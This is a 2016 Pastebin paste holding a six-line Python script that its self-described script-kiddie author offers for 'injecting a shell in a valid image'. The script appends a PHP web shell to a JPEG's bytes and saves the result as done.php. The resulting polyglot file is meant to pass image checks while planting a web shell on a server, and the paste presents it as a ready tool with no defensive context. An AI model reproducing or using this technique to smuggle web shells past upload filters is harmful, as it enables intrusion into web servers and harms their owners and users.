Inject shell in a valid image using Py script.

Skidie_Khan Dec 13th, 2016 1,626 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Coded By Skidie Khan. A 16YO Script Kiddie B| Salam to all muslim brothers. usage: python image.jpg shell.php
  2. from sys import argv
  3. script, img, shell = argv
  4. i = open(img,'rb').read()
  5. i += open(shell,'rb').read()
  6. f = open('done.php','wb').write(i)
RAW Paste Data